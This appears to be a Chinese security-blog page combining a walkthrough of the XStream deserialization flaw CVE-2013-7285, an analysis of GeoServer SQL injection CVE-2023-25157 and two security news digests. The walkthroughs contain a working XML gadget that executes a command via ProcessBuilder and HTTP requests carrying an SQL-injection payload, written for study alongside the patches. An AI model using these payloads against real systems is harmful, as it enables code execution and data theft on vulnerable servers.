Java 反序列化之 XStream 反序列化
0x01 XStream 基础
XStream 简介
XStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)。
使用 XStream 实现序列化与反序列化
下面看下如何使用 XStream 进行序列化和反序列化操作的。
先定义接口类
IPerson.java
public interface IPerson {
void output();
}
接着定义 Person 类实现前面的接口:
public class Person implements IPerson {
String name;
int age;
public void output() {
System.out.print("Hello, this is " + this.name + ", age " + this.age);
}
}
XStream 序列化是调用 XStream.toXML() 来实现的:
public class Serialize {
public static void main(String[] args) {
Person p = new Person();
p.age = 6;
p.name = "Drunkbaby";
XStream xstream = new XStream(new DomDriver());
String xml = xstream.toXML(p);
System.out.println(xml);
}
}
XStream 反序列化是用过调用 XStream.fromXML() 来实现的,其中获取 XML 文件内容的方式可以通过 Scanner() 或 FileInputStream 都可以:
Deserialize.java
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.Scanner;
public class Deserialize {
public static void main(String[] args) throws FileNotFoundException {
// String xml = new Scanner(new File("person.xml")).useDelimiter("\\Z").next();
FileInputStream xml = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");
XStream xstream = new XStream(new DomDriver());
Person p = (Person) xstream.fromXML(xml);
p.output();
}
}
XStream 几个部分
XStream 类图,参考./https://www.jianshu.com/p/387c568faf62:
主要分为四个部分:
MarshallingStrategy 编码策略
marshall : object->xml 编码
unmarshall : xml-> object 解码
两个重要的实现类:
com.thoughtworks.xstream.core.TreeMarshaller : 树编组程序
调用 Mapper 和 Converter 把 XML 转化成 Java 对象
其中的 start 方法开始编组
其中调用了 this.convertAnother(item) 方法
convertAnother 方法的作用是把 XML 转化成 Java 对象。
Mapper 映射器
简单来说就是通过 mapper 获取对象对应的类、成员、Field 属性的 Class 对象,赋值给 XML 的标签字段。
Converter 转换器
XStream 为 Java 常见的类型提供了 Converter 转换器。转换器注册中心是 XStream 组成的核心部分。
转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为 XML 或将 XML 转换为对象。
简单地说,就是输入 XML 后它能识别其中的标签字段并转换为相应的对象,反之亦然。
转换器需要实现 3 个方法,这三个方法分别是来自于 Converter 类以及它的父类 ConverterMatcher
canConvert 方法:告诉 XStream 对象,它能够转换的对象;
marshal 方法:能够将对象转换为 XML 时候的具体操作;
unmarshal 方法:能够将 XML 转换为对象时的具体操作;
具体参考:http://x-stream.github.io/converters.html
这里告诉了我们针对各种对象,XStream 都做了哪些支持。
EventHandler 类
EventHandler 类为动态生成事件侦听器提供支持,这些侦听器的方法执行一条涉及传入事件对象和目标对象的简单语句。
EventHandler 类是实现了 InvocationHandler 的一个类,设计本意是为交互工具提供 beans,建立从用户界面到应用程序逻辑的连接。
EventHandler 类定义的代码如下,其含有 target 和 action 属性,在 EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke() 的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用:
public class EventHandler implements InvocationHandler {
private Object target;
private String action;
...
public Object invoke(final Object proxy, final Method method, final Object[] arguments) {
...
return invokeInternal(proxy, method, arguments);
...
}
private Object invokeInternal(Object proxy, Method method, Object[] arguments) {
...
Method targetMethod = Statement.getMethod(
target.getClass(), action, argTypes);
...
return MethodUtil.invoke(targetMethod, target, newArgs);
}
...
}
...
}
这里重点看下 EventHandler.invokeInternal() 函数的代码逻辑,如注释:
private Object invokeInternal(Object var1, Method var2, Object[] var3) {
//-------------------------------------part1----------------------------------
//作用:获取interface的name,即获得Comparable,检查name是否等于以下3个名称
String var4 = var2.getName();
if (var2.getDeclaringClass() == Object.class) {
if (var4.equals("hashCode")) {
return new Integer(System.identityHashCode(var1));
}
if (var4.equals("equals")) {
return var1 == var3[0] ? Boolean.TRUE : Boolean.FALSE;
}
if (var4.equals("toString")) {
return var1.getClass().getName() + '@' + Integer.toHexString(var1.hashCode());
}
}
//-------------------------------------part2----------------------------------
//貌似获取了一个class和object
if (this.listenerMethodName != null && !this.listenerMethodName.equals(var4)) {
return null;
} else {
Class[] var5 = null;
Object[] var6 = null;
if (this.eventPropertyName == null) {
var6 = new Object[0];
var5 = new Class[0];
} else {
Object var7 = this.applyGetters(var3[0], this.getEventPropertyName());
var6 = new Object[]{var7};
var5 = new Class[]{var7 == null ? null : var7.getClass()};
}
//------------------------------------------------------------------------------
try {
int var12 = this.action.lastIndexOf(46);
if (var12 != -1) {
this.target = this.applyGetters(this.target, this.action.substring(0, var12));
this.action = this.action.substring(var12 + 1);
}
//--------------------------------------part3----------------------------------------
//var13获取了method的名称, var13=public java.lang.Process java.lang.ProcessBuilder.start() throws java.io.IOException
Method var13 = Statement.getMethod(this.target.getClass(), this.action, var5);
//--------------------------------------------------------------------------
//判断var13是否为空,当然不为空啦
if (var13 == null) {
var13 = Statement.getMethod(this.target.getClass(), "set" + NameGenerator.capitalize(this.action), var5);
}
if (var13 == null) {
String var9 = var5.length == 0 ? " with no arguments" : " with argument " + var5[0];
throw new RuntimeException("No method called " + this.action + " on " + this.target.getClass() + var9);
} else {
//-------------------------------------part4----------------------------------
//调用invoke,调用函数,执行命令
return MethodUtil.invoke(var13, this.target, var6);
}
//------------------------------------------------------------------------------
} catch (IllegalAccessException var10) {
throw new RuntimeException(var10);
} catch (InvocationTargetException var11) {
Throwable var8 = var11.getTargetException();
throw var8 instanceof RuntimeException ? (RuntimeException)var8 : new RuntimeException(var8);
}
}
}
有一说一看到这里的时候,就感觉 XStream 可能比较多的会通过动态代理作为 sink
DynamicProxyConverter 动态代理转换器
DynamicProxyConverter 即动态代理转换器,是 XStream 支持的一种转换器,其存在使得 XStream 能够把 XML 内容反序列化转换为动态代理类对象:
XStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 这个转换器为基础来编写的。
以官网给的例子为例:
<dynamic-proxy>
<interface>com.foo.Blah</interface>
<interface>com.foo.Woo</interface>
<handler class="com.foo.MyHandler">
<something>blah</something>
</handler>
</dynamic-proxy>
dynamic-proxy 标签在 XStream 反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah 或 com.foo.Woo 这两个接口类中声明的方法时(即 interface 标签内指定的接口类),就会调用 handler 标签中的类方法 com.foo.MyHandler
0x02 CVE-2013-7285
PoC
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>Calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
看到 PoC 这里大致是明白了,在之前有一段代码是读取每一个 XML 的节点,读取这些节点之后应该是用动态代理触发 invoke() 了
触发代码
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
import java.io.FileInputStream;
// CVE_2013_7285 Exploit
public class CVE_2013_7285 {
public static void main(String[] args) throws Exception{
FileInputStream fileInputStream = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");
XStream xStream = new XStream(new DomDriver());
xStream.fromXML(fileInputStream);
}
}
漏洞原理
XStream 反序列化漏洞的存在是因为 XStream 支持一个名为 DynamicProxyConverter 的转换器,该转换器可以将 XML 中 dynamic-proxy 标签内容转换成动态代理类对象,而当程序调用了 dynamic-proxy 标签内的 interface 标签指向的接口类声明的方法时,就会通过动态代理机制代理访问 dynamic-proxy 标签内 handler 标签指定的类方法。
利用这个机制,攻击者可以构造恶意的XML内容,即 dynamic-proxy 标签内的 handler 标签指向如 EventHandler 类这种可实现任意函数反射调用的恶意类、interface 标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意 XML 内容后即可触发反序列化漏洞、达到任意代码执行的目的。
漏洞分析
下断点调试一下,这里前面的流程和分析 XStream 流程是类似的,会调用HierarchicalStreams.readClassType() 来获取到 PoC XML 中根标签的类类型
后面会跟进到 mapper.realClass() 进行循环遍历,用来查找 XML 中的根标签为何类型(前面也都分析过了),接着是调用 convertAnother() 函数对 java.util.SortedSet 类型进行转换,我们跟进去该函数,其中调用 mapper.defaultImplementationOf() 函数来寻找 java.util.SortedSet 类型的默认实现类型进行替换,这里转换为了 java.util.TreeSet 类型
接着就是寻找 Convert 的过程,这里寻找到对应的转换器是 TreeMapConverter 转换器
往下调试,在 AbstractReferenceUnmarshaller.convert() 函数中看到,会调用 getCurrentReferenceKey() 来获取当前的 Reference 键,并且会将当前的 Reference 键压到栈中,这个 Reference 键后续会和保存的类型 —— java.util.TreeSet 类一一对应起来。
接着调用其父类即的 FastStack.convert() 方法,跟进去,显示将类型压入栈,然后调用转换器 TreeSetConverter 的 unmarshal() 方法:
在它第 61 行调用了 treeMapConverter.unmarshalComparator() 方法,这个方法获取到了第二个 XML 节点元素,这个方法当时漏看了,这个方法还是比较重要的,它获取到了 xml 根元素的子元素。
跟进之后就变得一目了然了,其中判断 reader 是否还有子元素
下面的 reader.movedown() 方法做了获取子元素,并把子元素添加到当前 context 的 pathTracker
往下调试,在 TreeSetConverter.unmarshal() 方法中调用了 this.treeMapConverter.populateTreeMap(),从这个方法开始,XStream 开始处理了 XML 里面其他的节点元素。跟进该函数,先判断是否是第一个元素,是的话就调用 putCurrentEntryIntoMap()函数,即将当前内容缓存到 Map 中:
跟进去,发现调用 readItem() 方法读取标签内的内容并缓存到当前 Map 中
这里再跟进 readItem() 方法,会发现比较有意思的一点是它又调用了 HierarchicalStreams.readClassType() 和 context.convertAnother() 方法,而这里的元素已经变成了第二个元素,也就是 <dynamic-proxy>,这里有点像是递归调用
可以跟进去看一下,这里通过查看 mapper 可以知道目前拿去保存在 mapper 当中的还是两个元素,而 XStream 的处理,则会处理最新的一个(最里层的一个)
经过处理之后返回的 type 就为最新的一个子元素的类型,这里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,对应的转换器为 DynamicProxyConverter,跟进到其中来看具体处理。
先判断当前元素是否还有子元素,并获取该子元素进行后续判断
根据我们所编写的 xml,获取到的子元素为 <interface>,经过判断 if (elementName.equals("interface")),如果为 true,则将目前 <interface> 节点的元素获取到,再获得转换类型。
因为仍旧存在子元素,获取完 <interface> 后重新进入这个迭代,下一个获取到的子元素是 <handler>。这里程序会判断是否等于 handler,如果等于 handler,则获取它标签所对应的类,并跳出迭代。
往下走,第 125 行调用了 Proxy.newProxyInstance() 方法,这里是动态代理中的,实例化代理类的过程。第 127 行这里,调用 context.convertAnother() 方法,跟进一下。对应的转换器是 AbstractReflectionConverter,它会先调用 instantiateNewInstance() 方法实例化一个 EventHandler 类
往下,跟进 doUnmarshal() 方法,这里又是一层内部递归,从 xml 中可以看到 <handler> 节点之下还有很多子节点(又看到了熟悉的 hasChildren()
这时我们获取到的 type 为 class java.lang.ProcessBuilder,跟进 unmarshallField() 方法
后面也都是类似的运行流程了,这里就不再废话,师傅们可以自行分析一下,是很容易看懂的;XSteam 虽然处理了 xml,且我们也基本明白了基础运行流程,但是最后漏洞触发这里还是要关注一下。
将所有的节点过完一遍之后,最终还是会走到 treeMapConverter.populateTreeMap() 这个地方
跟进,直到第 122 行,调用 put.All() 方法,里面的变量为 sortedMap,查看一下它的值可以发现这是一串链式存储的数据
最终是调用到 EventHandler.invoke() 方法调用栈如下,还是比较简单的
invoke:428, EventHandler (java.beans)
compareTo:-1, $Proxy0 (com.sun.proxy)
compare:1294, TreeMap (java.util)
put:538, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
最后成功调用了 java.lang.ProcessBuilder#start 方法,命令执行
0x03 漏洞修复
根据官方的修复手段,这里其实增加了黑名单
Users can register an own converter for dynamic proxies, the java.beans.EventHandler type or for the java.lang.ProcessBuilder type, that also protects against an attack for this special case:
xstream.registerConverter(new Converter() {
public boolean canConvert(Class type) {
return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type));
}
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
}, XStream.PRIORITY_LOW);
0x04 小结
XStream 最基础的漏洞是 CVE-2013-7285,通过这个漏洞可以很好的先认识 XStream 的基础运行流程,后续的漏洞挖掘和修复也算是一些《攻防史》,还是比较有意思的。
网络安全日报 2023年06月25日
1、黑客使用Tsunami僵尸网络恶意软件感染Linux SSH服务器
https://asec.ahnlab.com/en/54647/ 一个未知的威胁行为者正在暴力破解Linux SSH服务器以安装各种恶意软件,包括Tsunami DDoS(分布式拒绝服务)机器人、ShellBot、日志清理器、特权升级工具和XMRig(Monero)加密货币挖掘器。SSH(Secure Socket Shell)是一种用于登录远程机器的加密网络通信协议,支持隧道、TCP端口转发、文件传输等。网络管理员通常使用SSH远程管理Linux设备,执行诸如运行命令、更改配置、更新软件和解决问题等任务。但是,如果这些服务器的安全性很差,它们可能容易受到暴力攻击,从而使威胁行为者可以尝试
2、SeroXen恶意软件使用BatCloak混淆工具以规避安全软件检测
https://www.trendmicro.com/en_ph/research/23/f/seroxen-incorporates-latest-batcloak-engine-iteration.html 安全研究人员警告说,恶意软件开发人员正在采用一种易于使用的混淆工具,该工具可以使恶意软件绕过防病毒软件。趋势科技本月早些时候发布的分析报告对从公共存储库中获取的数百个受感染的批处理文件样本进行了分析,得出的结论是,BatCloak屏蔽了80%的文件,使其免受安全软件的检测。批处理文件通常带有.bat扩展名,是带有命令行解释器脚本的纯文本文件。BatCloak用于隐藏SeroXen不被
3、微软修复了Azure Active Directory身份验证漏洞
https://www.descope.com/blog/post/noauth 微软已经修复了Azure Active Directory (Azure AD)身份验证漏洞,该漏洞可能允许威胁参与者提升权限并可能完全接管目标帐户。这种错误配置(发现它的Descope安全团队将其命名为nOAuth )可能会在针对配置为使用访问令牌中的电子邮件声明进行授权的Azure AD OAuth应用程序的帐户和权限升级攻击中被滥用。攻击者只需将其Azure AD管理员帐户上的电子邮件更改为受害者的电子邮件地址,并使用“通过 Microsoft 登录”功能在易受攻击的应用程序或网站上进行授权。如果目标资源
4、新的Condi恶意软件利用TP-Link AX21路由器构建DDoS僵尸网络
https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389 2023年5月出现了一个名为“Condi”的新型DDoS即服务僵尸网络,它利用TP-Link Archer AX21(AX1800)Wi-Fi路由器中的漏洞组建了一支机器人大军来进行攻击。Condi旨在招募新设备来创建强大的DDoS(分布式拒绝服务)僵尸网络,攻击者可以租用这些设备对网站和服务发起攻击。此外,Condi背后的威胁行为者出售恶意软件的源代码,这是一种异常激进的货币化方法,注定会导致许
5、研究人员警告vRealize的严重漏洞在攻击中被利用
https://www.greynoise.io/blog/observed-in-the-wild-new-tag-for-cve-2023-20887-vmware-aria-operations-for-networks VMware更新了两周前发布的安全公告,警告客户,一个现已修补的允许远程执行代码的关键漏洞正在被主动利用进行攻击。“GreyNoise研究分析师Jacob Fisher表示:“我们观察到有人试图利用上述概念验证代码进行大规模扫描,试图启动一个反向外壳,该外壳连接回攻击者控制的服务器以接收更多命令。”该漏洞影响VMware Aria Operations for Net
6、UPS披露客户信息泄露并被用于网络钓鱼攻击
https://www.bleepingcomputer.com/news/security/ups-discloses-data-breach-after-exposed-customer-info-used-in-sms-phishing/ 跨国运输公司UPS警告加拿大客户,他们的一些个人信息可能已通过其在线包裹查找工具暴露并在网络钓鱼攻击中被滥用。乍一看,UPS发送的标题为“打击网络钓鱼和网络钓鱼 - 来自UPS的更新”的信件似乎是在警告客户网络钓鱼的危险。然而,事实证明这实际上是一个数据泄露通知,该公司偷偷披露了一份声明,称它已经收到了包含收件人姓名和地址信息的SMS网络钓鱼消息的报
7、威胁行为者利用多个物联网漏洞传播Mirai僵尸网络
https://unit42.paloaltonetworks.com/mirai-variant-targets-iot-exploits/ 自2023年3月以来,Unit 42研究人员观察到威胁行为者利用多个物联网漏洞传播Mirai僵尸网络的变体。威胁行为者有能力完全控制受感染的设备,并将这些设备集成到僵尸网络中。然后,这些设备用于执行其他攻击,包括分布式拒绝服务(DDoS)攻击。总的来说,该恶意软件针对各种互联产品中至少22个已知的安全问题,其中包括路由器、DVR、NVR、WiFi通信适配器、热监控系统、访问控制系统和太阳能发电监视器。攻击首先利用上述漏洞之一,为从外部资源执行shel
8、苹果修复了iMessage零点击零日漏洞
https://support.apple.com/en-us/HT213811 Apple解决了三个新的零日漏洞,这些漏洞在通过iMessage零点击攻击在iPhone上安装Triangulation间谍软件的攻击中被利用。该公司在描述被跟踪为CVE-2023-32434和CVE-2023-32435的内核和WebKit漏洞时表示:“Apple知道有报告称此问题可能已被积极利用于iOS 15.7之前发布的iOS版本。这两个安全漏洞是由卡巴斯基安全研究人员Georgy Kucherin、Leonid Bezvershenko和Boris Larin发现并报告的。卡巴斯基表示,这些攻击始于20
9、百万计的GitHub存储库可能受到RepoJacking攻击
https://blog.aquasec.com/github-dataset-research-reveals-millions-potentially-vulnerable-to-repojacking 数以百万计的GitHub存储库可能容易受到依赖关系存储库劫持(也称为“RepoJacking”)的攻击,这可能有助于攻击者部署影响大量用户的供应链攻击。该警告来自AquaSec的安全团队“Nautilus”,他们分析了125万个GitHub存储库的样本,发现其中约2.95%容易受到RepoJacking的攻击。通过将此百分比推断到GitHub超过3亿的整个存储库,研究人员估计该问题影响了
10、 iOttie在网站被黑客入侵后披露数据泄露
https://apps.web.maine.gov/online/aeviewer/ME/40/6bbb2a98-50b3-4fb1-844f-9572cf363b2a.shtml 车载和移动配件制造商iOttie警告说,其网站已被入侵近两个月,以窃取在线购物者的信用卡和个人信息。iOttie是一家受欢迎的移动设备车载支架、充电器和配件制造商。iOttie表示,他们于6月13日发现其在线商店在2023年4月12日至6月2日期间遭到恶意脚本的入侵。iOttie数据泄露通知警告称:“我们认为犯罪电子窃取行为发生在2023年4月12日至2023年6月2日期间。然而,2023年6月2日,在Word
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
浅析GeoServer CVE-2023-25157 SQL注入
简介
GeoServer是一个开源的地图服务器,它是遵循OpenGIS Web服务器规范的J2EE实现,通过它可以方便的将地图数据发布为地图服务,实现地理空间数据在用户之间的共享。
影响版本
geoserver<2.18.7
2.19.0<=geoserver<2.19.7
2.20.0<=geoserver<2.20.7
2.21.0<=geoserver<2.21.4
2.22.0<=geoserver<2.22.2
环境搭建
安装方式有多种可以选择
windwos下载安装
https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download下载后只需要指定端口直接下载可完成安装
war包安装
tomcat下载地址
https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zipgeoserver下载地址
https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip解压下载后的文件geoserver-2.15.1-war.zip,得到geoserver.war
把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。
启动tomcat
访问路径,默认端口为8080,端口根据自己的需求开放即可,这里我开放的端口为8081
http://localhost:8081/geoserver/web/
分析
POC下载链接
https://github.com/win3zz/CVE-2023-25157python3 CVE-2023-25157.py http://localhost:8081
查看提交的补丁分析一下漏洞
https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java
重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块
属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义,从而可能允许增强安全措施。https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html是 Spring Framework 提供的一个类,它添加了对使用命名参数对 JDBC 语句进行编程的支持,而不是使用经典占位符 ('?') 参数对 JDBC 语句进行编程
public ConfigDatabase(
JDBCLoaderProperties properties,
DataSource dataSource,
XStreamInfoSerialBinding binding) {
this(properties, dataSource, binding, null);
}
public ConfigDatabase(
JDBCLoaderProperties properties,
final DataSource dataSource,
final XStreamInfoSerialBinding binding,
CacheProvider cacheProvider) {
this.properties = properties;
this.binding = binding;
this.template = new NamedParameterJdbcTemplate(dataSource);
通过使用参数化查询而不是字符串连接
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改
//sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (\n");
//sql.append(") query\n");
sql.insert(
0,
"SELECT * FROM (SELECT query.*, rownum rnum FROM ("
+ (isDebugMode() ? "\n" : ""));
sql.append(") query");
appendIfDebug(sql, "\n", " ");
修改了插入语法,其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java
中定义
public boolean isDebugMode() {
return debugMode;
}
public void setDebugMode(boolean debugMode) {
this.debugMode = debugMode;
}
/** Escapes the contents of the SQL comment to prevent SQL injection. */
public String escapeComment(String comment) {
String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/");
return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*");
}
/** Appends the objects to the SQL in a comment if debug mode is enabled. */
public StringBuilder appendComment(StringBuilder sql, Object... objects) {
if (!debugMode) {
return sql;
}
sql.append(" /* ");
for (Object object : objects) {
sql.append(escapeComment(String.valueOf(object)));
}
return sql.append(" */\n");
}
/** Appends the objects to the SQL in an comment if debug mode is enabled. */
public StringBuilder appendComment(Object sql, Object... objects) {
return appendComment((StringBuilder) sql, objects);
}
/** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
return sql.append(debugMode ? ifEnabled : ifDisabled);
}
获取功能名POC
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1
获取功能属性POC
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1
构造恶意payload
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1
这里引用一张图,geotools的注入漏洞
漏洞编号CVE-2023-25158,查看补丁发现
在类中添加该escapeBackslash字段https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e是一种预防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于转义 SQL 语法中的特殊字符
// single quotes must be escaped to have a valid sql string
String escaped = escapeLiteral(encoding);
调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号,还转义反斜杠,并可能根据其参数转义双引号
public static String escapeLiteral(
String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
// ' --> ''
String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
if (escapeBackslash) {
// \ --> \\
escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\");
}
if (escapeDoubleQuote) {
// " --> \"
escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\"");
}
return escaped;
至于为什么会聊到CVE-2023-25158,这里就要聊到Geoserver和Geotools的关系了,可以参考这篇文章
https://blog.csdn.net/nmj2008/article/details/113869086修复方案
升级安全版本,目前已经有最新版本。
网络安全日报 2023年06月21日
1、黑客使用假的OnlyFans图片来植入窃取信息的恶意软件
https://www.esentire.com/blog/onlydcratfans-malware-distributed-using-explicit-lures-of-onlyfans-pages-and-other-adult-content 恶意软件活动使用虚假的OnlyFans内容和成人诱饵来安装称为“DcRAT”的远程访问木马,允许威胁行为者窃取数据和凭据或在受感染的设备上部署勒索软件。OnlyFans是一项内容订阅服务,付费订阅者可以访问成人模特、名人和社交媒体名人的私人照片、视频和帖子。它是一个广泛使用的网站和一个知名度很高的名称,因此它可以吸引那些希望免费访问付费内容的
2、DoNot黑客组织在Google Play商店部署恶意Android应用程序
https://www.cyfirma.com/outofband/donot-apt-elevates-its-tactics-by-deploying-malicious-android-apps-on-google-play-store/ 国家支持的威胁行为者使用Google Play上的三个Android应用程序从目标设备收集情报,例如位置数据和联系人列表。这些恶意Android应用程序是由Cyfirma发现的 ,他以中等可信度将此操作归因于印度黑客组织“DoNot”,该组织也被追踪为APT-C-35,该组织至少从2018年开始就以东南亚的知名组织为目标。Cyfirma 在Googl
3、攻击者利用MOVEit漏洞窃取数百万俄勒冈州和路易斯安那州的驾照信息
https://www.oregon.gov/odot/DMV/Pages/Data_Breach.aspx 路易斯安那州和俄勒冈州警告说,在一个勒索软件团伙入侵他们的MOVEit Transfer安全文件传输系统以窃取存储数据后,数百万驾照在数据泄露中暴露。这些 攻击是由Clop勒索软件行动进行的,该行动于5月27日开始 在全球范围内攻击MOVEit Transfer服务器, 使用一个以前未知的零日漏洞,追踪为CVE-2023-34362。这些攻击已导致全球范围内广泛披露数据泄露事件,影响了公司、联邦政府机构和地方政府机构。根据路易斯安那州机动车办公室和俄勒冈州司机与机动车服务局的新闻稿,
4、攻击者针对DoorDash司机进行网络钓鱼活动骗取了95万美元
https://www.malwarebytes.com/blog/news/2023/06/phishing-scam-takes-950k-from-doordash-drivers DoorDash司机是承包商,他们从商店和餐馆取货并将产品交付给客户。一名来自康涅狄格州的21岁男子大卫·史密斯(David Smith)据称想出了一种从司机那里榨取大量现金的方法,该骗局可以追溯到2020年。盗窃将从下伪造的DoorDash订单开始,接收司机详细信息,然后通过声称是DoorDash支持的短信或电话联系所述司机。从这里,司机将被说服交出银行详细信息或登录到一个虚假的门户网站。最终结果将是资金
5、安装量数百万的Swing VPN 是 DDoS 僵尸网络
https://security.solidot.org/ 在苹果 App Store 和 Google PlayStore 作为免费 VPN 服务提供给用户的应用 Swing VPN 被认为会利用用户设备发动 DDOS 攻击。目前无论是苹果还是 Google 都未将 Swing VPN 下架,而仅仅 Google Play 其安装量逾 500 万次。
6、微软证实DDoS攻击导致Azure和Outlook中断
https://www.bleepingcomputer.com/news/microsoft/microsoft-confirms-azure-outlook-outages-caused-by-ddos-attacks/ 微软已经证实,最近Azure、Outlook和OneDrive门户网站的中断是由于针对该公司服务的第7层DDoS攻击造成的。
7、VMware 已确认 CVE-2023-20887 已被在野利用
https://www.securityweek.com/vmware-confirms-live-exploits-hitting-just-patched-security-flaw/ 这家虚拟化技术巨头周二更新了一份https://www.vmware.com/security/advisories/VMSA-2023-0012.html,向运行网络监控软件的企业发出直言不讳的警告:“VMware 已确认 CVE-2023-20887 的利用已在野外发生。”这些实时漏洞https://viz.greynoise.io/tag/vmware-aria-operations-for-net
8、新的“RDStealer”恶意软件以 RDP 连接为目标
https://www.securityweek.com/new-rdstealer-malware-targets-rdp-connections/ Bitdefender 发现新的恶意软件能够监控传入的 RDP 连接并感染启用了客户端驱动器映射的连接客户端。
9、知名网安公司Gen Digital称员工数据在 MOVEit 勒索软件攻击中被盗
